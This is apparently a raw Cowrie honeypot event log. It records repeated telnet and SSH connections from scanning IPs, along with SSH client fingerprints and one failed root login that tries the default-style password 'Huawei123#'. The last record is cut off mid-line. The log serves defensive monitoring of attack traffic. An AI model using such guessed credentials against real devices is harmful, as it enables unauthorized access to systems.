{"eventid":"cowrie.session.closed","duration":34.45722436904907,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:17.852617Z","src_ip":"142.93.2.99","session":"f10e1c6f0de9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39760,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cd0700f0423","protocol":"telnet","message":"New connection: 142.93.2.99:39760 (159.203.135.109:23) [session: 5cd0700f0423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:18.837899Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40786,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f4150c8246","protocol":"telnet","message":"New connection: 142.93.2.99:40786 (159.203.135.109:23) [session: 25f4150c8246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:18.913662Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40932,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ad93d35486","protocol":"telnet","message":"New connection: 142.93.2.99:40932 (159.203.135.109:23) [session: 55ad93d35486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:19.068897Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40210,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cd9e6343a38","protocol":"telnet","message":"New connection: 142.93.2.99:40210 (159.203.135.109:23) [session: 1cd9e6343a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:19.299962Z"}
{"eventid":"cowrie.session.closed","duration":30.305975914001465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:20.074459Z","src_ip":"104.245.105.2","session":"84c8548a56b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3986713886261,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:22.607368Z","src_ip":"142.93.2.99","session":"7b208f701027","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45026,"dst_ip":"159.203.135.109","dst_port":23,"session":"31f2eb20663f","protocol":"telnet","message":"New connection: 142.93.2.99:45026 (159.203.135.109:23) [session: 31f2eb20663f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:23.269343Z"}
{"eventid":"cowrie.session.closed","duration":33.95451045036316,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:26.463450Z","src_ip":"142.93.2.99","session":"96a87282d506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33130,"dst_ip":"10.17.0.5","dst_port":23,"session":"7757511db0fc","protocol":"telnet","message":"New connection: 104.245.105.2:33130 (10.17.0.5:23) [session: 7757511db0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:26.812679Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":37042,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf92fc9e6b28","protocol":"ssh","message":"New connection: 189.194.140.170:37042 (159.203.135.109:22) [session: bf92fc9e6b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:26.888274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:26.895486Z","src_ip":"189.194.140.170","session":"bf92fc9e6b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:26.987635Z","src_ip":"189.194.140.170","session":"bf92fc9e6b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123#","message":"login attempt [root/Huawei123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:27.354215Z","src_ip":"189.194.140.170","session":"bf92fc9e6b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46982,"dst_ip":"159.203.135.109","dst_port":23,"session":"f508a8c61d48","protocol":"telnet","message":"New connection: 142.93.2.99:46982 (159.203.135.109:23) [session: f508a8c61d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:28.321842Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:28.450506Z","src_ip":"189.194.140.170","session":"bf92fc9e6b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50662,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cfa3606c6da","protocol":"telnet","message":"New connection: 142.93.2.99:50662 (159.203.135.109:23) [session: 2cfa3606c6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:29.232087Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50862,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c8e4c92e112","protocol":"telnet","message":"New connection: 142.93.2.99:50862 (159.203.135.109:23) [session: 7c8e4c92e112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:29.452867Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50892,"dst_ip":"159.203.135.109","dst_port":23,"session":"648b07337942","protocol":"telnet","message":"New connection: 142.93.2.99:50892 (159.203.135.109:23) [session: 648b07337942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:29.484272Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52272,"dst_ip":"159.203.135.109","dst_port":23,"session":"657f292d8d1f","protocol":"telnet","message":"New connection: 142.93.2.99:52272 (159.203.135.109:23) [session: 657f292d8d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:30.992934Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52476,"dst_ip":"159.203.135.109","dst_port":23,"session":"7af4e770a13b","protocol":"telnet","message":"New connection: 142.93.2.99:52476 (159.203.135.109:23) [session: 7af4e770a13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:31.230366Z"}
{"eventid":"cowrie.session.closed","duration":31.679678201675415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:31.965494Z","src_ip":"142.93.2.99","session":"1a2e2d2b11cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54272,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff0d932b2b86","protocol":"telnet","message":"New connection: 142.93.2.99:54272 (159.203.135.109:23) [session: ff0d932b2b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:33.363797Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54280,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f7dc948bbc3","protocol":"telnet","message":"New connection: 142.93.2.99:54280 (159.203.135.109:23) [session: 5f7dc948bbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:33.369977Z"}
{"eventid":"cowrie.session.closed","duration":32.21251058578491,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:36.061094Z","src_ip":"142.93.2.99","session":"b1e9f56277af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.24416542053223,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:36.088127Z","src_ip":"142.93.2.99","session":"c67564a4cd02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56730,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e83402dcd23","protocol":"telnet","message":"New connection: 142.93.2.99:56730 (159.203.135.109:23) [session: 9e83402dcd23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:36.225156Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57082,"dst_ip":"159.203.135.109","dst_port":23,"session":"803d46649a7f","protocol":"telnet","message":"New connection: 142.93.2.99:57082 (159.203.135.109:23) [session: 803d46649a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:36.615685Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58706,"dst_ip":"159.203.135.109","dst_port":23,"session":"41d91a2216b0","protocol":"telnet","message":"New connection: 142.93.2.99:58706 (159.203.135.109:23) [session: 41d91a2216b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:38.546016Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59834,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3a9dcd16679","protocol":"telnet","message":"New connection: 142.93.2.99:59834 (159.203.135.109:23) [session: d3a9dcd16679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:39.772513Z"}
{"eventid":"cowrie.session.closed","duration":33.4042694568634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:40.196067Z","src_ip":"142.93.2.99","session":"59a71ff51a6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35122,"dst_ip":"159.203.135.109","dst_port":23,"session":"b14f67bb77c4","protocol":"telnet","message":"New connection: 142.93.2.99:35122 (159.203.135.109:23) [session: b14f67bb77c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:43.533360Z"}
{"eventid":"cowrie.session.closed","duration":33.54384899139404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:43.743281Z","src_ip":"142.93.2.99","session":"5b911f0e9629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35564,"dst_ip":"159.203.135.109","dst_port":23,"session":"057c40bd6583","protocol":"telnet","message":"New connection: 142.93.2.99:35564 (159.203.135.109:23) [session: 057c40bd6583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:44.029023Z"}
{"eventid":"cowrie.session.closed","duration":33.9912109375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:49.804983Z","src_ip":"142.93.2.99","session":"022ae38ef617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.49322772026062,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:50.033052Z","src_ip":"142.93.2.99","session":"2fb9e2c08aab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41568,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa3990d08460","protocol":"telnet","message":"New connection: 142.93.2.99:41568 (159.203.135.109:23) [session: fa3990d08460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:50.594510Z"}
{"eventid":"cowrie.session.closed","duration":32.70977783203125,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:51.547574Z","src_ip":"142.93.2.99","session":"5cd0700f0423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.397106885910034,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:51.696937Z","src_ip":"142.93.2.99","session":"1cd9e6343a38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.94047737121582,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:51.854001Z","src_ip":"142.93.2.99","session":"25f4150c8246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.02334427833557,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:52.092095Z","src_ip":"142.93.2.99","session":"55ad93d35486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42982,"dst_ip":"159.203.135.109","dst_port":23,"session":"6325ca0b3da9","protocol":"telnet","message":"New connection: 142.93.2.99:42982 (159.203.135.109:23) [session: 6325ca0b3da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:53.137803Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44480,"dst_ip":"10.17.0.5","dst_port":23,"session":"df3f3f4c85cc","protocol":"telnet","message":"New connection: 104.245.105.2:44480 (10.17.0.5:23) [session: df3f3f4c85cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:55.834670Z"}
{"eventid":"cowrie.session.closed","duration":33.26446199417114,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:56.533679Z","src_ip":"142.93.2.99","session":"31f2eb20663f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50612,"dst_ip":"159.203.135.109","dst_port":23,"session":"95fb63c01c96","protocol":"telnet","message":"New connection: 142.93.2.99:50612 (159.203.135.109:23) [session: 95fb63c01c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:00.669162Z"}
{"eventid":"cowrie.session.closed","duration":32.59654688835144,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:00.918285Z","src_ip":"142.93.2.99","session":"f508a8c61d48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.829739093780518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:01.061706Z","src_ip":"142.93.2.99","session":"2cfa3606c6da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.203115940093994,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:01.687288Z","src_ip":"142.93.2.99","session":"648b07337942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51818,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cbfc16b9c6a","protocol":"telnet","message":"New connection: 142.93.2.99:51818 (159.203.135.109:23) [session: 5cbfc16b9c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:02.293629Z"}
{"eventid":"cowrie.session.closed","duration":33.33162808418274,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:02.784396Z","src_ip":"142.93.2.99","session":"7c8e4c92e112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.99972152709961,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:02.812308Z","src_ip":"104.245.105.2","session":"7757511db0fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51800,"dst_ip":"159.203.135.109","dst_port":23,"session":"d35214d4c6e5","protocol":"telnet","message":"New connection: 142.93.2.99:51800 (159.203.135.109:23) [session: d35214d4c6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:03.282123Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51316,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a5737eabf77","protocol":"telnet","message":"New connection: 142.93.2.99:51316 (159.203.135.109:23) [session: 1a5737eabf77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:04.489912Z"}
{"eventid":"cowrie.session.closed","duration":34.3126335144043,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:05.305438Z","src_ip":"142.93.2.99","session":"657f292d8d1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.05649161338806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:06.420183Z","src_ip":"142.93.2.99","session":"ff0d932b2b86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.74251699447632,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:08.112392Z","src_ip":"142.93.2.99","session":"5f7dc948bbc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56346,"dst_ip":"159.203.135.109","dst_port":23,"session":"b49d617bba96","protocol":"telnet","message":"New connection: 142.93.2.99:56346 (159.203.135.109:23) [session: b49d617bba96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:08.423038Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56416,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f56860c4631","protocol":"telnet","message":"New connection: 142.93.2.99:56416 (159.203.135.109:23) [session: 9f56860c4631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:08.521079Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56468,"dst_ip":"159.203.135.109","dst_port":23,"session":"77891f4b664e","protocol":"telnet","message":"New connection: 142.93.2.99:56468 (159.203.135.109:23) [session: 77891f4b664e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:08.581574Z"}
{"eventid":"cowrie.session.closed","duration":38.083252906799316,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:09.313520Z","src_ip":"142.93.2.99","session":"7af4e770a13b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61801528930664,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:09.843043Z","src_ip":"142.93.2.99","session":"9e83402dcd23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.565120220184326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:10.180663Z","src_ip":"142.93.2.99","session":"803d46649a7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87371063232422,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:11.419608Z","src_ip":"142.93.2.99","session":"41d91a2216b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58986,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b3749b440f7","protocol":"telnet","message":"New connection: 142.93.2.99:58986 (159.203.135.109:23) [session: 0b3749b440f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:11.717935Z"}
{"eventid":"cowrie.session.closed","duration":32.25633907318115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:12.028735Z","src_ip":"142.93.2.99","session":"d3a9dcd16679","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33786,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca8a17f99697","protocol":"telnet","message":"New connection: 142.93.2.99:33786 (159.203.135.109:23) [session: ca8a17f99697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:15.491685Z"}
{"eventid":"cowrie.session.closed","duration":32.49293065071106,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:16.026194Z","src_ip":"142.93.2.99","session":"b14f67bb77c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34678,"dst_ip":"159.203.135.109","dst_port":23,"session":"d280419b3b8e","protocol":"telnet","message":"New connection: 142.93.2.99:34678 (159.203.135.109:23) [session: d280419b3b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:16.711347Z"}
{"eventid":"cowrie.session.closed","duration":32.72119069099426,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:16.750098Z","src_ip":"142.93.2.99","session":"057c40bd6583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34624,"dst_ip":"159.203.135.109","dst_port":23,"session":"8812182b0c09","protocol":"telnet","message":"New connection: 142.93.2.99:34624 (159.203.135.109:23) [session: 8812182b0c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:17.598139Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":53964,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1ba85438b87","protocol":"ssh","message":"New connection: 189.194.140.170:53964 (159.203.135.109:22) [session: c1ba85438b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:20.128444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:20.134550Z","src_ip":"189.194.140.170","session":"c1ba85438b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"